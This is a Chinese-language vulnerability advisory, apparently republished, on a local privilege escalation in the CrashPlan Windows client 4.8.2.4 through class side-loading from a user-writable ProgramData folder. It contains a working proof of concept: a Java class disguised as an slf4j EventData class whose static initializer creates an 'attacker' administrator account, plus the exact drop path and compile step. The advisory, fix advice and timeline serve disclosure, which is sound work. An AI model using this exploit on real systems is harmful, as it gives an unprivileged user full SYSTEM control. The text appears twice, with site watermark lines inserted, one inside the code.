Crashplan Windows客户端本地提权漏洞
本文是关于CrashPlan Windows客户端4.8.2.4版本,存在本地提权漏洞的相关通报及技术分析。该漏洞可被本地任意用户所滥用,并获取对操作系统的全面控制权限。当前,该漏洞已在完全修复的英文版Windows 7 x64上进行了验证。
根本问题在于Windows服务“CrashPlan备份服务”从不安全的文件系统位置C:\ProgramData\CrashPlan中加载和执行文件。
其中,Java Class文件被搜索并最终从那里被加载。这会导致CLASS side-loading漏洞。
有关此文件夹的特殊情况是默认文件系统ACL,它允许任意本地用户追加新的文件。
因此,可以删除恶意文件。为了利用它,我构建了以下Java类:
package org.slf4j.ext;
import java.io.Serializable;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.util.Date;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import java.beans.XMLDecoder;
import java.beans.XMLEncoder;
import java.beans.ExceptionListener;
/**
* Base class for Event Data. Event Data contains data to be logged about an
* event. Users may extend this class for each EventType they want to log.
*
* @author Ralph Goers
*/
public class EventData implements Serializable {
static
{
try {
Runtime rt = Runtime.getRuntime();
Process pr = rt.exec("cmd.exe /C \"net user attacker Batman42 /add && net localgroup Administrators attacker /add\"");
} catch (Exception e) {
e.printStackTrace();
}
}
/**
* Default Constructor
*/
public EventData() {
}
}
要注入自己的命令,我们利用Java静态初始化程序。这些在JVM加载类后会被立即执行。编译它只需使用javac:
javac EventData.java
最后,将编译的Java类文件放入待创建的文件夹C:\ProgramData\CrashPlan\lang\org\slf4j\ext中
系统重启后,此Java类将被加载,我们的代码将以SYSTEM权限被执行。在这个例子中,攻击者在操作系统添加了一个本地管理员账户。
修复建议
尽快将漏洞版本升级为最新版。
Timeline
2017.5.18:漏洞确认
2017.5.22:记录并通知厂商
2017.5.25:厂商确认漏洞并紧急修复
2017.6.13:修复版发布。并发布了相关说明。
2018.2.15:公开披露
本文是关于CrashPlan Windows客户端4.8.2.4版本,存在本地提权漏洞的相关通报及技术分析。该漏洞可被本地任意用户所滥用,并获取对操作系统的全面控制权限。当前,该漏洞已在完全修复的英文版Windows 7 x64上进行了验证。
根本问题在于Windows服务“CrashPlan备份服务”从不安全的文件系统位置C:\ProgramData\CrashPlan中加载和执行文件。
其中,Java Class文件被搜索并最终从那里被加载。这会导致CLASS side-loading漏洞。
有关此文件夹的特殊情况是默认文件系统ACL,它允许任意本地用户追加新的文件。
因此,可以删除恶意文件。为了利用它,我构建了以下Java类:
package org.slf4j.ext;
import java.io.Serializable;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.util.Date;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import java.beans.XMLDecoder;
import java.beans.XMLEncoder;
import java.beans.ExceptionListener;
/**
* Base class for Event Data. Event Data contains data to be logged about an
* event. Users may extend this class for each EventType they want to log.
*
* @author Ralph Goers
*/
public class EventData implements Serializable {
static
{
try {
Runtime rt = Runtime.getRuntime();
Process pr = rt.exec("cmd.exe /C \"net user attacker Batman42 /add && net localgroup Administrators attacker /add\""); 内容来自无奈安全网
} catch (Exception e) {
e.printStackTrace();
}
}
/**
* Default Constructor
*/
public EventData() {
}
}
要注入自己的命令,我们利用Java静态初始化程序。这些在JVM加载类后会被立即执行。编译它只需使用javac:
javac EventData.java
最后,将编译的Java类文件放入待创建的文件夹C:\ProgramData\CrashPlan\lang\org\slf4j\ext中
系统重启后,此Java类将被加载,我们的代码将以SYSTEM权限被执行。在这个例子中,攻击者在操作系统添加了一个本地管理员账户。
内容来自无奈安全网
修复建议
尽快将漏洞版本升级为最新版。
Timeline
2017.5.18:漏洞确认
2017.5.22:记录并通知厂商
2017.5.25:厂商确认漏洞并紧急修复
2017.6.13:修复版发布。并发布了相关说明。
2018.2.15:公开披露